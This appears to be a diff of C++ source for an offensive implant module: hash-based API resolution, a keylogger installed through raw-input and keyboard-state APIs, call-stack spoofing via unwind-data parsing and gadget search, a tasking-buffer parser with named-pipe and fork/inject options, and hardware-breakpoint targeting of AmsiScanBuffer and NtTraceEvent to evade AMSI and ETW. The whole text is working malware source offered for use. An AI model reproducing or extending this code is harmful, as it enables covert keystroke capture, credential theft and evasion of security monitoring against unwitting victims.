Instance->Win32.NtGetContextThread = (decltype(Instance->Win32.NtGetContextThread))LoadApi(Ntdll, HashStr("NtGetContextThread"));
|
||||
Instance->Win32.NtContinue = (decltype(Instance->Win32.NtContinue))LoadApi(Ntdll, HashStr("NtContinue"));
|
||||
Instance->Win32.RtlCaptureContext = (decltype(Instance->Win32.RtlCaptureContext))LoadApi(Ntdll, HashStr("RtlCaptureContext"));
|
||||
|
||||
Instance->Win32.RtlAddVectoredExceptionHandler = (decltype(Instance->Win32.RtlAddVectoredExceptionHandler))LoadApi(Ntdll, HashStr("RtlAddVectoredExceptionHandler"));
|
||||
Instance->Win32.RtlRemoveVectoredExceptionHandler = (decltype(Instance->Win32.RtlRemoveVectoredExceptionHandler))LoadApi(Ntdll, HashStr("RtlRemoveVectoredExceptionHandler"));
|
||||
|
||||
Instance->Win32.RtlInitializeCriticalSection = (decltype(Instance->Win32.RtlInitializeCriticalSection))LoadApi(Ntdll, HashStr("RtlInitializeCriticalSection"));
|
||||
Instance->Win32.RtlEnterCriticalSection = (decltype(Instance->Win32.RtlEnterCriticalSection))LoadApi(Ntdll, HashStr("RtlEnterCriticalSection"));
|
||||
Instance->Win32.RtlLeaveCriticalSection = (decltype(Instance->Win32.RtlLeaveCriticalSection))LoadApi(Ntdll, HashStr("RtlLeaveCriticalSection"));
|
||||
|
||||
Instance->Win32.RtlLookupFunctionEntry = (decltype(Instance->Win32.RtlLookupFunctionEntry))LoadApi(Ntdll, HashStr("RtlLookupFunctionEntry"));
|
||||
Instance->Win32.RtlUserThreadStart = (decltype(Instance->Win32.RtlUserThreadStart))LoadApi(Ntdll, HashStr("RtlUserThreadStart"));
|
||||
Instance->Win32.BaseThreadInitThunk = (decltype(Instance->Win32.BaseThreadInitThunk))LoadApi(Kernel32, HashStr("BaseThreadInitThunk"));
|
||||
|
||||
Instance->Spf.First.Ptr = (PVOID)( (UPTR)Instance->Win32.RtlUserThreadStart + 0x21 );
|
||||
Instance->Spf.Second.Ptr = (PVOID)( (UPTR)Instance->Win32.BaseThreadInitThunk + 0x14 );
|
||||
|
||||
Instance->Win32.RtlExitUserThread = (decltype(Instance->Win32.RtlExitUserThread))LoadApi(Ntdll, HashStr("RtlExitUserThread"));
|
||||
Instance->Win32.RtlExitUserProcess = (decltype(Instance->Win32.RtlExitUserProcess))LoadApi(Ntdll, HashStr("RtlExitUserProcess"));
|
||||
|
||||
Instance->Win32.PostMessageW = (decltype(Instance->Win32.PostMessageW))LoadApi(User32, HashStr("PostMessageW"));
|
||||
Instance->Win32.RegisterClassExW = (decltype(Instance->Win32.RegisterClassExW))LoadApi(User32, HashStr("RegisterClassExW"));
|
||||
Instance->Win32.CreateWindowExW = (decltype(Instance->Win32.CreateWindowExW))LoadApi(User32, HashStr("CreateWindowExW"));
|
||||
Instance->Win32.RegisterRawInputDevices = (decltype(Instance->Win32.RegisterRawInputDevices))LoadApi(User32, HashStr("RegisterRawInputDevices"));
|
||||
Instance->Win32.GetMessageW = (decltype(Instance->Win32.GetMessageW))LoadApi(User32, HashStr("GetMessageW"));
|
||||
Instance->Win32.PeekMessageW = (decltype(Instance->Win32.PeekMessageW))LoadApi(User32, HashStr("PeekMessageW"));
|
||||
Instance->Win32.TranslateMessage = (decltype(Instance->Win32.TranslateMessage))LoadApi(User32, HashStr("TranslateMessage"));
|
||||
Instance->Win32.DispatchMessageW = (decltype(Instance->Win32.DispatchMessageW))LoadApi(User32, HashStr("DispatchMessageW"));
|
||||
Instance->Win32.PostQuitMessage = (decltype(Instance->Win32.PostQuitMessage))LoadApi(User32, HashStr("PostQuitMessage"));
|
||||
Instance->Win32.GetRawInputData = (decltype(Instance->Win32.GetRawInputData))LoadApi(User32, HashStr("GetRawInputData"));
|
||||
Instance->Win32.DefWindowProcW = (decltype(Instance->Win32.DefWindowProcW))LoadApi(User32, HashStr("DefWindowProcW"));
|
||||
Instance->Win32.GetForegroundWindow = (decltype(Instance->Win32.GetForegroundWindow))LoadApi(User32, HashStr("GetForegroundWindow"));
|
||||
Instance->Win32.GetWindowThreadProcessId = (decltype(Instance->Win32.GetWindowThreadProcessId))LoadApi(User32, HashStr("GetWindowThreadProcessId"));
|
||||
Instance->Win32.GetWindowTextW = (decltype(Instance->Win32.GetWindowTextW))LoadApi(User32, HashStr("GetWindowTextW"));
|
||||
Instance->Win32.GetKeyboardState = (decltype(Instance->Win32.GetKeyboardState))LoadApi(User32, HashStr("GetKeyboardState"));
|
||||
Instance->Win32.GetKeyState = (decltype(Instance->Win32.GetKeyState))LoadApi(User32, HashStr("GetKeyState"));
|
||||
Instance->Win32.ToUnicode = (decltype(Instance->Win32.ToUnicode))LoadApi(User32, HashStr("ToUnicode"));
|
||||
Instance->Win32.MapVirtualKeyW = (decltype(Instance->Win32.MapVirtualKeyW))LoadApi(User32, HashStr("MapVirtualKeyW"));
|
||||
|
||||
Instance->Win32.HeapAlloc = (decltype(Instance->Win32.HeapAlloc))LoadApi(Kernel32, HashStr("HeapAlloc"));
|
||||
Instance->Win32.HeapFree = (decltype(Instance->Win32.HeapFree))LoadApi(Kernel32, HashStr("HeapFree"));
|
||||
Instance->Win32.GetProcessHeap = (decltype(Instance->Win32.GetProcessHeap))LoadApi(Kernel32, HashStr("GetProcessHeap"));
|
||||
|
||||
Instance->Win32.RtlSecureZeroMemory = (decltype(Instance->Win32.RtlSecureZeroMemory))LoadApi(Kernel32, HashStr("RtlZeroMemory"));
|
||||
|
||||
Instance->Hwbp.NtTraceEvent = (PVOID)LoadApi(Ntdll, HashStr("NtTraceEvent"));
|
||||
|
||||
|
||||
// Debug Statements for all APIs resolved
|
||||
Instance->Win32.DbgPrint("\n[+] LoadLibraryA: %p", Instance->Win32.LoadLibraryA);
|
||||
Instance->Win32.DbgPrint("\n[+] GetProcAddress: %p", Instance->Win32.GetProcAddress);
|
||||
Instance->Win32.DbgPrint("\n[+] NtProtectVirtualMemory: %p", Instance->Win32.NtProtectVirtualMemory);
|
||||
Instance->Win32.DbgPrint("\n[+] RtlAllocateHeap: %p", Instance->Win32.RtlAllocateHeap);
|
||||
Instance->Win32.DbgPrint("\n[+] RtlFreeHeap: %p", Instance->Win32.RtlFreeHeap);
|
||||
Instance->Win32.DbgPrint("\n[+] CreateWindowExW: %p", Instance->Win32.CreateWindowExW);
|
||||
Instance->Win32.DbgPrint("\n[+] RegisterRawInputDevices: %p", Instance->Win32.RegisterRawInputDevices);
|
||||
Instance->Win32.DbgPrint("\n");
|
||||
}
|
||||
|
||||
auto DECLFN LoadAdds( INSTANCE* Instance ) -> VOID {
|
||||
UPTR Shell32 = LoadModule( HashStr( "shell32.dll" ) );
|
||||
UPTR Oleaut32 = LoadModule( HashStr( "oleaut32.dll" ) );
|
||||
UPTR Mscoree = LoadModule( HashStr( "mscoree.dll" ) );
|
||||
UPTR Amsi = LoadModule( HashStr( "amsi.dll" ) );
|
||||
UPTR User32 = LoadModule(HashStr("user32.dll"));
|
||||
|
||||
if ( ! User32 ) User32 = (UPTR)LibLoad( "user32.dll" );
|
||||
if ( ! Shell32 ) Shell32 = (UPTR)LibLoad( "shell32.dll" );
|
||||
if ( ! Oleaut32 ) Oleaut32 = (UPTR)LibLoad( "oleaut32.dll" );
|
||||
if ( ! Mscoree ) Mscoree = (UPTR)LibLoad( "mscoree.dll" );
|
||||
if ( ! Amsi ) Amsi = (UPTR)LibLoad( "amsi.dll" );
|
||||
|
||||
Instance->Win32.CLRCreateInstance = (decltype(Instance->Win32.CLRCreateInstance))LoadApi(Mscoree, HashStr("CLRCreateInstance"));
|
||||
|
||||
Instance->Win32.SafeArrayAccessData = (decltype(Instance->Win32.SafeArrayAccessData))LoadApi(Oleaut32, HashStr("SafeArrayAccessData"));
|
||||
Instance->Win32.SafeArrayGetLBound = (decltype(Instance->Win32.SafeArrayGetLBound))LoadApi(Oleaut32, HashStr("SafeArrayGetLBound"));
|
||||
Instance->Win32.SafeArrayGetUBound = (decltype(Instance->Win32.SafeArrayGetUBound))LoadApi(Oleaut32, HashStr("SafeArrayGetUBound"));
|
||||
Instance->Win32.SafeArrayCreateVector = (decltype(Instance->Win32.SafeArrayCreateVector))LoadApi(Oleaut32, HashStr("SafeArrayCreateVector"));
|
||||
Instance->Win32.SafeArrayCreate = (decltype(Instance->Win32.SafeArrayCreate))LoadApi(Oleaut32, HashStr("SafeArrayCreate"));
|
||||
Instance->Win32.SafeArrayDestroy = (decltype(Instance->Win32.SafeArrayDestroy))LoadApi(Oleaut32, HashStr("SafeArrayDestroy"));
|
||||
Instance->Win32.SafeArrayPutElement = (decltype(Instance->Win32.SafeArrayPutElement))LoadApi(Oleaut32, HashStr("SafeArrayPutElement"));
|
||||
Instance->Win32.SysAllocString = (decltype(Instance->Win32.SysAllocString))LoadApi(Oleaut32, HashStr("SysAllocString"));
|
||||
Instance->Win32.SysFreeString = (decltype(Instance->Win32.SysFreeString))LoadApi(Oleaut32, HashStr("SysFreeString"));
|
||||
Instance->Win32.VariantClear = (decltype(Instance->Win32.VariantClear))LoadApi(Oleaut32, HashStr("VariantClear"));
|
||||
|
||||
Instance->Win32.CommandLineToArgvW = (decltype(Instance->Win32.CommandLineToArgvW))LoadApi(Shell32, HashStr("CommandLineToArgvW"));
|
||||
|
||||
Instance->Hwbp.AmsiScanBuffer = (PVOID)LoadApi(Amsi, HashStr("AmsiScanBuffer"));
|
||||
}
|
||||
|
||||
EXTERN_C
|
||||
auto DECLFN Entry( PVOID Parameter ) -> VOID {
|
||||
PARSER Psr = { 0 };
|
||||
INSTANCE Instance = { 0 };
|
||||
|
||||
PVOID ArgBuffer = nullptr;
|
||||
|
||||
NtCurrentPeb()->TelemetryCoverageHeader = (PTELEMETRY_COVERAGE_HEADER)&Instance;
|
||||
|
||||
Instance.Start = StartPtr();
|
||||
Instance.Size = (UPTR)EndPtr() - (UPTR)Instance.Start;
|
||||
Instance.HeapHandle = NtCurrentPeb()->ProcessHeap;
|
||||
//Instance.g_TitleBuffer[KEYLOG_BUFFER_LEN + 1] = {0};
|
||||
Instance.g_TitleBuffer[0] = L'\0';
|
||||
|
||||
|
||||
Parameter ? ArgBuffer = Parameter : ArgBuffer = (PVOID)((UPTR)Instance.Start + Instance.Size);
|
||||
|
||||
LoadEssentials( &Instance );
|
||||
|
||||
Instance.Win32.DbgPrint("\n\n\n\n[+] WE ARE AT ENTRYYYY!\n\n");
|
||||
|
||||
Parser::New(&Psr, ArgBuffer);
|
||||
|
||||
HRESULT Result = S_OK;
|
||||
|
||||
LoadAdds( &Instance );
|
||||
|
||||
Result = KeyloggerInstall();
|
||||
|
||||
Parser::Destroy(&Psr);
|
||||
|
||||
if ( Instance.Ctx.ExecMethod == KH_METHOD_FORK && Instance.Ctx.ForkCategory == KH_INJECT_SPAWN ) {
|
||||
Instance.Win32.RtlExitUserProcess( Result );
|
||||
} else {
|
||||
Instance.Win32.RtlExitUserThread( Result );
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
#include <General.hpp>
|
||||
|
||||
auto DECLFN Parser::New(
|
||||
_In_ PARSER* parser,
|
||||
_In_ PVOID Buffer
|
||||
) -> VOID {
|
||||
G_INSTANCE
|
||||
|
||||
if ( parser == nullptr ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( Buffer == nullptr ) {
|
||||
return;
|
||||
}
|
||||
|
||||
PBYTE bufferPtr = (PBYTE)Buffer;
|
||||
|
||||
ULONG ExecMethod = *(ULONG*)bufferPtr;
|
||||
bufferPtr += sizeof(ULONG);
|
||||
|
||||
ULONG ForkCategory = *(ULONG*)bufferPtr;
|
||||
bufferPtr += sizeof(ULONG);
|
||||
|
||||
ULONG Spoof = *(ULONG*)bufferPtr;
|
||||
bufferPtr += sizeof(ULONG);
|
||||
|
||||
ULONG Bypass = *(ULONG*)bufferPtr;
|
||||
bufferPtr += sizeof(ULONG);
|
||||
|
||||
ULONG PipeNameL = 0;
|
||||
CHAR* PipeName = nullptr;
|
||||
|
||||
|
||||
PipeNameL = *(ULONG*)bufferPtr;
|
||||
bufferPtr += sizeof(ULONG);
|
||||
|
||||
PipeName = Heap::Alloc<CHAR*>( PipeNameL );
|
||||
Mem::Copy( PipeName, bufferPtr, PipeNameL );
|
||||
bufferPtr += PipeNameL;
|
||||
|
||||
Instance->Pipe.Name = PipeName;
|
||||
|
||||
ULONG ArgSize = *(ULONG*)bufferPtr;
|
||||
bufferPtr += sizeof(ULONG);
|
||||
|
||||
parser->Original = Heap::Alloc<CHAR*>( ArgSize );
|
||||
|
||||
if (parser->Original == nullptr) {
|
||||
return;
|
||||
}
|
||||
|
||||
Instance->Win32.DbgPrint("[+] Parser arguments :=\n");
|
||||
Instance->Win32.DbgPrint("exec mtd: %d\n", ExecMethod);
|
||||
Instance->Win32.DbgPrint("fork cat: %d\n", ForkCategory);
|
||||
Instance->Win32.DbgPrint("spoof: %d\n", Spoof);
|
||||
Instance->Win32.DbgPrint("bypass: %d\n", Bypass);
|
||||
Instance->Win32.DbgPrint("pipename: %s\n\n", PipeName);
|
||||
|
||||
Mem::Copy( parser->Original, bufferPtr, ArgSize );
|
||||
parser->Buffer = parser->Original;
|
||||
parser->Length = ArgSize;
|
||||
parser->Size = ArgSize;
|
||||
|
||||
Instance->Ctx.ExecMethod = ExecMethod;
|
||||
Instance->Ctx.ForkCategory = ForkCategory;
|
||||
Instance->Ctx.Bypass = Bypass;
|
||||
Instance->Ctx.IsSpoof = Spoof;
|
||||
}
|
||||
|
||||
auto DECLFN Parser::Pad(
|
||||
_In_ PARSER* parser,
|
||||
_Out_ ULONG size
|
||||
) -> BYTE* {
|
||||
if (!parser)
|
||||
return nullptr;
|
||||
|
||||
if (parser->Length < size)
|
||||
return nullptr;
|
||||
|
||||
BYTE* padData = (BYTE*)(parser->Buffer);
|
||||
|
||||
parser->Buffer += size;
|
||||
parser->Length -= size;
|
||||
|
||||
return padData;
|
||||
}
|
||||
|
||||
auto DECLFN Parser::Int32(
|
||||
_In_ PARSER* parser
|
||||
) -> INT32 {
|
||||
G_INSTANCE
|
||||
|
||||
INT32 intBytes = 0;
|
||||
|
||||
Mem::Copy( &intBytes, parser->Buffer, 4 );
|
||||
|
||||
parser->Buffer += 4;
|
||||
parser->Length -= 4;
|
||||
|
||||
|
||||
return ( INT ) ( intBytes );
|
||||
}
|
||||
|
||||
auto DECLFN Parser::Bytes(
|
||||
_In_ PARSER* parser,
|
||||
_In_ ULONG* size
|
||||
) -> BYTE* {
|
||||
G_INSTANCE
|
||||
|
||||
UINT32 Length = 0;
|
||||
BYTE* outdata = NULL;
|
||||
|
||||
if ( parser->Length < 4 || !parser->Buffer )
|
||||
return NULL;
|
||||
|
||||
Mem::Copy( &Length, parser->Buffer, 4 );
|
||||
parser->Buffer += 4;
|
||||
|
||||
Length = ( Length );
|
||||
|
||||
outdata = (BYTE*)( parser->Buffer );
|
||||
if ( outdata == nullptr )
|
||||
return nullptr;
|
||||
|
||||
parser->Length -= 4;
|
||||
parser->Length -= Length;
|
||||
parser->Buffer += Length;
|
||||
|
||||
if ( size != nullptr )
|
||||
*size = Length;
|
||||
|
||||
return outdata;
|
||||
}
|
||||
|
||||
auto DECLFN Parser::Destroy(
|
||||
_In_ PARSER* Parser
|
||||
) -> BOOL {
|
||||
if ( ! Parser ) return FALSE;
|
||||
|
||||
BOOL Success = TRUE;
|
||||
|
||||
if ( Parser->Original ) {
|
||||
Mem::Zero( Parser->Original, Parser->Length );
|
||||
Success = Heap::Free( Parser->Original );
|
||||
Parser->Original = nullptr;
|
||||
Parser->Length = 0;
|
||||
}
|
||||
|
||||
if ( Parser ) {
|
||||
Mem::Zero( Parser, sizeof( PARSER ) );
|
||||
Parser = nullptr;
|
||||
}
|
||||
|
||||
return Success;
|
||||
}
|
||||
|
||||
auto DECLFN Parser::Str(
|
||||
_In_ PARSER* parser,
|
||||
_In_ ULONG* size
|
||||
) -> PCHAR {
|
||||
return ( PCHAR ) Parser::Bytes( parser, size );
|
||||
}
|
||||
|
||||
auto DECLFN Parser::Wstr(
|
||||
_In_ PARSER* parser,
|
||||
_In_ ULONG* size
|
||||
) -> PWCHAR {
|
||||
return ( PWCHAR )Parser::Bytes( parser, size );
|
||||
}
|
||||
auto DECLFN Parser::Int16(
|
||||
_In_ PARSER* parser
|
||||
) -> INT16 {
|
||||
INT16 intBytes = 0;
|
||||
|
||||
if ( parser->Length < 2 )
|
||||
return 0;
|
||||
|
||||
Mem::Copy( &intBytes, parser->Buffer, 2 );
|
||||
|
||||
parser->Buffer += 2;
|
||||
parser->Length -= 2;
|
||||
|
||||
|
||||
return __builtin_bswap16( intBytes ) ;
|
||||
}
|
||||
|
||||
auto DECLFN Parser::Int64(
|
||||
_In_ PARSER* parser
|
||||
) -> INT64 {
|
||||
INT64 intBytes = 0;
|
||||
|
||||
if ( ! parser )
|
||||
return 0;
|
||||
|
||||
if ( parser->Length < 8 )
|
||||
return 0;
|
||||
|
||||
Mem::Copy( &intBytes, parser->Buffer, 8 );
|
||||
|
||||
parser->Buffer += 8;
|
||||
parser->Length -= 8;
|
||||
|
||||
|
||||
return ( INT64 ) __builtin_bswap64( intBytes );
|
||||
}
|
||||
|
||||
auto DECLFN Parser::Byte(
|
||||
_In_ PARSER* parser
|
||||
) -> BYTE {
|
||||
BYTE intBytes = 0;
|
||||
|
||||
if ( parser->Length < 1 )
|
||||
return 0;
|
||||
|
||||
Mem::Copy( &intBytes, parser->Buffer, 1 );
|
||||
|
||||
parser->Buffer += 1;
|
||||
parser->Length -= 1;
|
||||
|
||||
return intBytes;
|
||||
}
|
||||
@@ -0,0 +1,242 @@
|
||||
#include <General.hpp>
|
||||
|
||||
#define ALIGN_UP(x, align) (((x) + ((align) - 1)) & ~((align) - 1))
|
||||
#define ALIGN_DOWN(x, align) ((x) & ~((align) - 1))
|
||||
|
||||
auto DECLFN Spoof::Call(
|
||||
_In_ UPTR Fnc,
|
||||
_In_ UPTR Ssn,
|
||||
_In_ UPTR Arg1,
|
||||
_In_ UPTR Arg2,
|
||||
_In_ UPTR Arg3,
|
||||
_In_ UPTR Arg4,
|
||||
_In_ UPTR Arg5,
|
||||
_In_ UPTR Arg6,
|
||||
_In_ UPTR Arg7,
|
||||
_In_ UPTR Arg8,
|
||||
_In_ UPTR Arg9,
|
||||
_In_ UPTR Arg10,
|
||||
_In_ UPTR Arg11,
|
||||
_In_ UPTR Arg12
|
||||
) -> PVOID {
|
||||
G_INSTANCE
|
||||
|
||||
Instance->Spf.First.Ptr = (PVOID)( (UPTR)( Instance->Win32.RtlUserThreadStart ) + 0x21 );
|
||||
Instance->Spf.Second.Ptr = (PVOID)( (UPTR)( Instance->Win32.BaseThreadInitThunk ) + 0x14 );;
|
||||
|
||||
Instance->Spf.First.Size = Spoof::StackSizeWrapper( Instance->Spf.First.Ptr );
|
||||
Instance->Spf.Second.Size = Spoof::StackSizeWrapper( Instance->Spf.Second.Ptr );
|
||||
|
||||
do {
|
||||
Instance->Spf.Gadget.Ptr = FindGadget( (PVOID)Instance->Win32.Ntdll, 0x23 );
|
||||
Instance->Spf.Gadget.Size = Spoof::StackSizeWrapper( Instance->Spf.Gadget.Ptr );
|
||||
} while ( ! Instance->Spf.Gadget.Size );
|
||||
|
||||
Instance->Spf.Ssn = Ssn;
|
||||
Instance->Spf.ArgCount = 12;
|
||||
|
||||
return SpoofCall( Arg1, Arg2, Arg3, Arg4, Fnc, (UPTR)&Instance->Spf, Arg5, Arg6, Arg7, Arg8, Arg9, Arg10, Arg11, Arg12 );
|
||||
}
|
||||
|
||||
|
||||
auto DECLFN Spoof::StackSizeWrapper(
|
||||
_In_ PVOID RetAddress
|
||||
) -> UPTR {
|
||||
G_INSTANCE
|
||||
|
||||
if (!RetAddress) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
UPTR ImgBase = 0;
|
||||
UNWIND_HISTORY_TABLE HistoryTbl = { 0 };
|
||||
|
||||
RUNTIME_FUNCTION* RtmFunction = Instance->Win32.RtlLookupFunctionEntry(
|
||||
(UPTR)( RetAddress ), &ImgBase, &HistoryTbl
|
||||
);
|
||||
if ( ! RtmFunction ) {
|
||||
return 0x20;
|
||||
}
|
||||
|
||||
return StackSize( (UPTR)RtmFunction, ImgBase );
|
||||
}
|
||||
|
||||
auto DECLFN Spoof::StackSize(
|
||||
_In_ UPTR RtmFunction,
|
||||
_In_ UPTR ImgBase
|
||||
) -> UPTR {
|
||||
STACK_FRAME Stack = { 0 };
|
||||
RUNTIME_FUNCTION* pFunc = reinterpret_cast<RUNTIME_FUNCTION*>( RtmFunction );
|
||||
|
||||
if ( ! pFunc || ! ImgBase ) {
|
||||
return 0x30;
|
||||
}
|
||||
|
||||
UNWIND_INFO* UwInfo = reinterpret_cast<UNWIND_INFO*>(pFunc->UnwindData + ImgBase);
|
||||
|
||||
if ( UwInfo->Version < 1 || UwInfo->Version > 2 ) {
|
||||
return 0x30;
|
||||
}
|
||||
|
||||
ULONG TotalSize = 0;
|
||||
ULONG CodeCount = UwInfo->CountOfCodes;
|
||||
UNWIND_CODE* UwCode = UwInfo->UnwindCode;
|
||||
|
||||
for ( ULONG i = 0; i < CodeCount; ) {
|
||||
UBYTE UnwOp = UwCode[i].UnwindOp;
|
||||
UBYTE OpInfo = UwCode[i].OpInfo;
|
||||
|
||||
switch ( UnwOp ) {
|
||||
case UWOP_PUSH_NONVOL:
|
||||
TotalSize += 8;
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_ALLOC_LARGE:
|
||||
if ( OpInfo == 0 ) {
|
||||
TotalSize += UwCode[++i].FrameOffset * 8;
|
||||
} else {
|
||||
TotalSize += UwCode[++i].FrameOffset +
|
||||
(UwCode[++i].FrameOffset << 16);
|
||||
}
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_ALLOC_SMALL:
|
||||
TotalSize += ( OpInfo * 8 ) + 8;
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_SET_FPREG:
|
||||
case UWOP_SET_FP:
|
||||
Stack.SetsFramePtr = TRUE;
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_NONVOL:
|
||||
case UWOP_SAVE_NONVOL_BIG:
|
||||
i += 2;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_XMM128:
|
||||
case UWOP_SAVE_XMM128BIG:
|
||||
i += 3;
|
||||
break;
|
||||
|
||||
case UWOP_PUSH_MACH_FRAME:
|
||||
TotalSize += OpInfo ? sizeof(UPTR) : 0;
|
||||
TotalSize += 6 * sizeof(UPTR);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_ALLOC_MEDIUM:
|
||||
TotalSize += ((OpInfo << 4) + 16);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_FPLR:
|
||||
TotalSize += 2 * sizeof(UPTR);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_REG:
|
||||
case UWOP_SAVE_REGX:
|
||||
i += 2;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_REGP:
|
||||
case UWOP_SAVE_REGPX:
|
||||
i += 3;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_LRPAIR:
|
||||
TotalSize += 2 * sizeof(UPTR);
|
||||
i += 2;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_FREG:
|
||||
case UWOP_SAVE_FREGX:
|
||||
i += 2;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_FREGP:
|
||||
case UWOP_SAVE_FREGPX:
|
||||
i += 3;
|
||||
break;
|
||||
|
||||
case UWOP_ADD_FP:
|
||||
TotalSize += (OpInfo << 3);
|
||||
i++;
|
||||
break;
|
||||
|
||||
// Operações ARM
|
||||
case UWOP_ALLOC_HUGE:
|
||||
TotalSize += UwCode[++i].FrameOffset +
|
||||
(UwCode[++i].FrameOffset << 16) +
|
||||
(UwCode[++i].FrameOffset << 32);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_REG_MASK:
|
||||
case UWOP_WIDE_SAVE_REG_MASK:
|
||||
TotalSize += (__builtin_popcount(OpInfo) * sizeof(UPTR));
|
||||
i += 2;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_REGS_R4R7LR:
|
||||
TotalSize += 5 * sizeof(UPTR);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_WIDE_SAVE_REGS_R4R11LR:
|
||||
TotalSize += 9 * sizeof(UPTR);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_FREG_D8D15:
|
||||
TotalSize += 8 * sizeof(DWORD64);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_FREG_D0D15:
|
||||
TotalSize += 16 * sizeof(DWORD64);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_SAVE_FREG_D16D31:
|
||||
TotalSize += 16 * sizeof(DWORD64);
|
||||
i++;
|
||||
break;
|
||||
|
||||
case UWOP_NOP:
|
||||
case UWOP_WIDE_NOP:
|
||||
case UWOP_END:
|
||||
case UWOP_END_NOP:
|
||||
case UWOP_WIDE_END_NOP:
|
||||
i++;
|
||||
break;
|
||||
|
||||
default:
|
||||
TotalSize += 0x20;
|
||||
i++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ( UwInfo->Flags & UNW_FLAG_CHAININFO ) {
|
||||
ULONG ChainOffset = CodeCount;
|
||||
if ( ChainOffset & 1) ChainOffset++;
|
||||
|
||||
RUNTIME_FUNCTION* ChainFunc = reinterpret_cast<RUNTIME_FUNCTION*>(
|
||||
&UwInfo->UnwindCode[ChainOffset]
|
||||
);
|
||||
|
||||
TotalSize += StackSize((UPTR)ChainFunc, ImgBase);
|
||||
}
|
||||
|
||||
TotalSize += sizeof(UPTR);
|
||||
TotalSize = ALIGN_UP( TotalSize, 16 );
|
||||
TotalSize += 0x20;
|
||||
|
||||
return min( TotalSize, 0x1000 );
|
||||
}
|
||||
@@ -0,0 +1,279 @@
|
||||
#include <General.hpp>
|
||||
|
||||
auto DECLFN Mem::Copy(
|
||||
_In_ PVOID Dst,
|
||||
_In_ PVOID Src,
|
||||
_In_ UPTR Size
|
||||
) -> PVOID {
|
||||
return __builtin_memcpy( Dst, Src, Size );
|
||||
}
|
||||
|
||||
auto DECLFN Mem::Set(
|
||||
_In_ PVOID Addr,
|
||||
_In_ UCHAR Val,
|
||||
_In_ UPTR Size
|
||||
) -> void {
|
||||
return __stosb( (UCHAR*)Addr, (UCHAR)Val, Size );
|
||||
}
|
||||
|
||||
auto DECLFN Mem::Zero(
|
||||
_In_ PVOID Addr,
|
||||
_In_ UPTR Size
|
||||
) -> void {
|
||||
return __stosb( (UCHAR*)( Addr ), 0, (SIZE_T)Size );
|
||||
}
|
||||
|
||||
extern "C" void* DECLFN memset(void* dest, int val, size_t count) {
|
||||
unsigned char* ptr = (unsigned char*)dest;
|
||||
while (count--) *ptr++ = (unsigned char)val;
|
||||
return dest;
|
||||
}
|
||||
|
||||
extern "C" void* DECLFN memcpy(void* dest, const void* src, size_t count) {
|
||||
char* d = (char*)dest;
|
||||
const char* s = (const char*)src;
|
||||
while (count--) *d++ = *s++;
|
||||
return dest;
|
||||
}
|
||||
|
||||
auto DECLFN Str::StartsWith(
|
||||
BYTE* Str,
|
||||
BYTE* Prefix
|
||||
) -> BOOL {
|
||||
if (!Str || !Prefix) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while (*Prefix) {
|
||||
if (*Str != *Prefix) {
|
||||
return FALSE;
|
||||
}
|
||||
++Str;
|
||||
++Prefix;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
auto DECLFN Str::CompareW(
|
||||
LPCWSTR Str1,
|
||||
LPCWSTR Str2
|
||||
) -> INT {
|
||||
while ( *Str1 && ( *Str1 == *Str2 ) ) {
|
||||
++Str1;
|
||||
++Str2;
|
||||
}
|
||||
return static_cast<INT>( *Str1 ) - static_cast<INT>( *Str2 );
|
||||
}
|
||||
|
||||
auto DECLFN Str::LengthA(
|
||||
LPCSTR String
|
||||
) -> SIZE_T {
|
||||
LPCSTR End = String;
|
||||
while (*End) ++End;
|
||||
return End - String;
|
||||
}
|
||||
|
||||
auto DECLFN Str::LengthW(
|
||||
LPCWSTR String
|
||||
) -> SIZE_T {
|
||||
if (!String) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPCWSTR End = String;
|
||||
while (*End) {
|
||||
++End;
|
||||
}
|
||||
return static_cast<SIZE_T>(End - String);
|
||||
}
|
||||
|
||||
auto DECLFN Str::CharToWChar(
|
||||
PWCHAR Dest,
|
||||
PCHAR Src,
|
||||
SIZE_T MaxAllowed
|
||||
) -> SIZE_T {
|
||||
SIZE_T Length = MaxAllowed;
|
||||
while ( --Length > 0 ) {
|
||||
if ( !( *Dest++ = static_cast<WCHAR>( *Src++ ) ) ) {
|
||||
return MaxAllowed - Length - 1;
|
||||
}
|
||||
}
|
||||
return MaxAllowed - Length;
|
||||
}
|
||||
|
||||
auto DECLFN LoadModule(
|
||||
_In_ const ULONG LibHash
|
||||
) -> UPTR {
|
||||
RangeHeadList( NtCurrentPeb()->Ldr->InLoadOrderModuleList, PLDR_DATA_TABLE_ENTRY, {
|
||||
if ( !LibHash ) {
|
||||
return reinterpret_cast<UPTR>( Entry->OriginalBase );
|
||||
}
|
||||
|
||||
if ( HashStr<WCHAR>( Entry->BaseDllName.Buffer ) == LibHash ) {
|
||||
return reinterpret_cast<UPTR>( Entry->OriginalBase );
|
||||
}
|
||||
} )
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
auto DECLFN LoadApi(
|
||||
_In_ const UPTR ModBase,
|
||||
_In_ const UPTR SymbHash
|
||||
) -> UPTR {
